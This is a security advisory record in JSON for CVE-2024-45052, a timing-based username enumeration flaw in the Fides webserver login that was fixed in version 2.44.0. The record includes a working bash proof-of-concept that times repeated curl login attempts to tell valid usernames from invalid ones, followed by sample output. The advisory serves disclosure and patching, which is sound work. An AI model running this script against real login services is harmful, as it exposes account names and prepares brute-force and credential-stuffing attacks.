{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ethyca-fides"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.44.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-04T18:03:26Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "A timing-based username enumeration vulnerability has been identified in Fides Webserver authentication. This vulnerability allows an unauthenticated attacker to determine the existence of valid usernames by analyzing the time it takes for the server to respond to login requests. The discrepancy in response times between valid and invalid usernames can be leveraged to enumerate users on the system.\n\n### Impact\nThis vulnerability enables a timing-based username enumeration attack. An attacker can systematically guess and verify which usernames are valid by measuring the server\u0027s response time to authentication requests. This information can be used to conduct further attacks on authentication such as password brute-forcing and credential stuffing.\n\n### Patches\nThe vulnerability has been patched in Fides version `2.44.0`. Users are advised to upgrade to this version or later to secure their systems against this threat.\n\n### Workarounds\nThere are no workarounds.\n\n\n### Proof of Concept\n\n1. Create a valid user called `valid_user` on a remote Fides server. Ensure that there is no user on the server named `invalid_user`. Note that this vulnerability is not reproducible on a local deployment due to the extremely low latency of responses to login requests.\n2. In a terminal run `export LOGIN_URL=\u0027https://example.com/api/v1/login\u0027`, replacing `example.com` with your remote Fides server\u0027s domain or IP address.\n3. In the same terminal run `exploit-poc.sh` (detailed below).\n4. It\u0027s possible to distinguish between valid and invalid users based on the low latency (time difference) for invalid users.  \n\n\n\u003cdetails\u003e\n\u003csummary\u003eExploit PoC script\u003c/summary\u003e\n\n```bash\n#!/bin/bash\n\n# Function to test login and calculate average transfer times\ntest_login(){\n  echo -e \"\\nTesting login for user: $1\\n\"\n  total_diff=0\n\n  for (( i=1; i \u003c= 20; ++i ))\n  do\n    echo -n \"Attempt #$i: \"\n    resp=$(curl -w @- \"$LOGIN_URL\" \\\n      -H \u0027content-type: application/json\u0027 \\\n      --data-raw \u0027{\"username\":\"\u0027$1\u0027\",\"password\":\"d3JvbmdwYXNzd29yZA==\"}\u0027 \\\n      -o /dev/null -s \u003c\u003c\u0027EOF\u0027\n      {\n        \"pretransfer\":  %{time_pretransfer},\n        \"starttransfer\": %{time_starttransfer}\n      }\nEOF\n    )\n    \n    pre=$(echo $resp | jq \u0027.pretransfer\u0027)\n    start=$(echo $resp | jq \u0027.starttransfer\u0027)\n    diff=$(echo \"$start - $pre\" | bc)\n\n    # Accumulate total diff\n    total_diff=$(echo \"$total_diff + $diff\" | bc)\n    \n    # Print the result of this iteration\n    printf \"Pretransfer: %.4f, Starttransfer: %.4f, Diff: %.4f\\n\" \"$pre\" \"$start\" \"$diff\"\n  done\n  \n  # Calculate average diff\n  avg_diff=$(echo \"scale=4; $total_diff / 20\" | bc)\n  \n  # Print average time\n  echo -e \"\\nAverage Time Difference for $1: $avg_diff seconds\\n\"\n}\n\n# Ensure that LOGIN_URL is set\nif [ -z \"$LOGIN_URL\" ]; then\n  echo \"Error: LOGIN_URL environment variable is not set.\"\n  exit 1\nfi\n\n# Test valid and invalid users\ntest_login valid_user \ntest_login invalid_user\n```\n\n\u003c/details\u003e\n\n\n\u003cdetails\u003e\n\u003csummary\u003eSample script run\u003c/summary\u003e\n\n\n```\n~ \u276f ./exploit-poc.sh\n\nTesting login for user: valid_user\n\nAttempt #1: Pretransfer: 0.3006, Starttransfer: 0.7404, Diff: 0.4398\nAttempt #2: Pretransfer: 0.2755, Starttransfer: 1.2506, Diff: 0.9751\nAttempt #3: Pretransfer: 0.2595, Starttransfer: 0.7108, Diff: 0.4512\nAttempt #4: Pretransfer: 0.2551, Starttransfer: 1.0483, Diff: 0.7932\nAttempt #5: Pretransfer: 0.2553, Starttransfer: 0.6680, Diff: 0.4127\nAttempt #6: Pretransfer: 0.2599, Starttransfer: 0.6712, Diff: 0.4113\nAttempt #7: Pretransfer: 0.2518, Starttransfer: 0.6603, Diff: 0.4085\nAttempt #8: Pretransfer: 0.2467, Starttransfer: 0.6812, Diff: 0.4344\nAttempt #9: Pretransfer: 0.2502, Starttransfer: 0.8175, Diff: 0.5673\nAttempt #10: Pretransfer: 0.2583, Starttransfer: 0.6904, Diff: 0.4321\nAttempt #11: Pretransfer: 0.2573, Starttransfer: 0.6601, Diff: 0.4029\nAttempt #12: Pretransfer: 0.2481, Starttransfer: 0.8495, Diff: 0.6014\nAttempt #13: Pretransfer: 0.2487, Starttransfer: 0.6822, Diff: 0.4336\nAttempt #14: Pretransfer: 0.2526, Starttransfer: 0.9728, Diff: 0.7201\nAttempt #15: Pretransfer: 0.2573, Starttransfer: 0.9808, Diff: 0.7235\nAttempt #16: Pretransfer: 0.2459, Starttransfer: 0.6536, Diff: 0.4078\nAttempt #17: Pretransfer: 0.2508, Starttransfer: 0.9024, Diff: 0.6517\nAttempt #18: Pretransfer: 0.2477, Starttransfer: 2.2049, Diff: 1.9572\nAttempt #19: Pretransfer: 0.2523, Starttransfer: 2.1087, Diff: 1.8564\nAttempt #20: Pretransfer: 0.2523, Starttransfer: 0.7308, Diff: 0.4785\n\nAverage Time Difference for valid_user: .6779 seconds\n\n\nTesting login for user: invalid_user\n\nAttempt #1: Pretransfer: 0.2496, Starttransfer: 0.4122, Diff: 0.1626\nAttempt #2: Pretransfer: 0.2551, Starttransfer: 0.4049, Diff: 0.1498\nAttempt #3: Pretransfer: 0.2480, Starttransfer: 0.6174, Diff: 0.3694\nAttempt #4: Pretransfer: 0.2489, Starttransfer: 0.4611, Diff: 0.2122\nAttempt #5: Pretransfer: 0.2513, Starttransfer: 0.4601, Diff: 0.2088\nAttempt #6: Pretransfer: 0.2540, Starttransfer: 0.3946, Diff: 0.1406\nAttempt #7: Pretransfer: 0.2504, Starttransfer: 0.9104, Diff: 0.6599\nAttempt #8: Pretransfer: 0.2577, Starttransfer: 0.4095, Diff: 0.1518\nAttempt #9: Pretransfer: 0.2497, Starttransfer: 0.3851, Diff: 0.1353\nAttempt #10: Pretransfer: 0.2548, Starttransfer: 0.4024, Diff: 0.1476\nAttempt #11: Pretransfer: 0.2559, Starttransfer: 0.4002, Diff: 0.1443\nAttempt #12: Pretransfer: 0.2501, Starttransfer: 0.4075, Diff: 0.1573\nAttempt #13: Pretransfer: 0.2560, Starttransfer: 0.3921, Diff: 0.1361\nAttempt #14: Pretransfer: 0.2493, Starttransfer: 0.3933, Diff: 0.1440\nAttempt #15: Pretransfer: 0.2493, Starttransfer: 0.3942, Diff: 0.1449\nAttempt #16: Pretransfer: 0.2599, Starttransfer: 0.5111, Diff: 0.2512\nAttempt #17: Pretransfer: 0.2455, Starttransfer: 0.4128, Diff: 0.1673\nAttempt #18: Pretransfer: 0.2558, Starttransfer: 1.7535, Diff: 1.4977\nAttempt #19: Pretransfer: 0.2515, Starttransfer: 1.4528, Diff: 1.2013\nAttempt #20: Pretransfer: 0.2483, Starttransfer: 0.3893, Diff: 0.1410\n\nAverage Time Difference for invalid_user: .3161 seconds\n\n~ \u276f\n```\n\u003c/details\u003e\n\n### Severity\n\nThis vulnerability has been assigned a severity of LOW.\n\nUsing CVSS v3.1 it could be scored as`AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` (5.3 Medium/Moderate) or `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N` (0.0 None) depending on the Confidentiality impact metric used.\n\nIn [Bugcrowd\u0027s vulnerability rating taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) it most likely be assigned a technical severity of P4 (Low) Broken Access Control (BAC) \u003e Username/Email Enumeration \u003e Non-Brute Force.",
  "id": "GHSA-2h46-8gf5-fmxv",
  "modified": "2024-09-04T18:03:26Z",
  "published": "2024-09-04T18:03:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/security/advisories/GHSA-2h46-8gf5-fmxv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ethyca/fides"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Timing-Based Username Enumeration Vulnerability in Fides Webserver Authentication"
}